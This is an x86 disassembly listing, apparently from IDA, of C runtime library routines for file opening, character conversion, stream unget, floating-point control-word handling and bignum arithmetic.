		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDDC, 16h
		mov	dword_4DBDE0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDE4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2730786h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	short loc_424419
		push	esi
		nop
		call	near ptr 2680157h


loc_424405:				; CODE XREF: sub_42423B+1B6j
		call	near ptr 26A096Ch
		nop
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDE0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFB4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		call	near ptr 260055Eh
		nop
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	ebx
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFB4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE84


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2710000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2710000h
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 260055Eh
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE84, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D084
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBE94
		nop
		call	near ptr 2841212h
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE84, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D084
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2710000h
		test	eax, eax
		mov	eax, dword_43D084
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBE94
		call	near ptr 2710000h
		nop
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


